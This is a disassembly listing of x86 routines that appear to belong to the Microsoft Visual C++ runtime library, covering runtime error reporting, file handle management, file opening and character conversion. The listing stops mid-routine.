		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C08 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43D03C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D03C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 26406D8h
		push	eax
		call	near ptr 2700649h
		nop


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DCCA0


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DCDA0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DCDA0, 20h
		lea	ecx, ds:4DCCA0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCDA0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A9A4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		call	near ptr 2630CDBh
		nop


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DCDA0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A9A4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		call	near ptr 2630CDBh
		nop


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DCCA0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 2630738h
		test	eax, eax
		jnz	short loc_42391D
		call	near ptr 26A08EAh
		nop
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB95C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DCC80
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DCC80, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC78, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DCC80, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC78, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43D0C8


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DBC78
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D348
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43D0D8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D138
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB998, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBB40
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DBC50, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB958, 16h
		mov	dword_4DB95C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB960
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB95C, 0
		mov	dword_4DB958, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 2710A6Ah
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 2680920h


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		call	near ptr 26A08EAh
		nop
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB95C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C48
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBB48
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427938
		push	esi
		nop
		call	near ptr 2620535h
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB50C
		push	esi
		push	ebx
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DBB48, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DBA14


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2630000h
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DBA24
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 2830000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2830000h
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	near ptr 2620535h
		nop
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DBA14, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43CBE4
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBA24
		nop
		call	near ptr 282106Dh
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DBA14, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C9D8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43CBE4
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBA24
		call	near ptr 2830000h
		nop
		test	eax, eax
		mov	eax, dword_43CBE4
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


loc_423F55:				; CODE XREF: sub_423EC3+61j
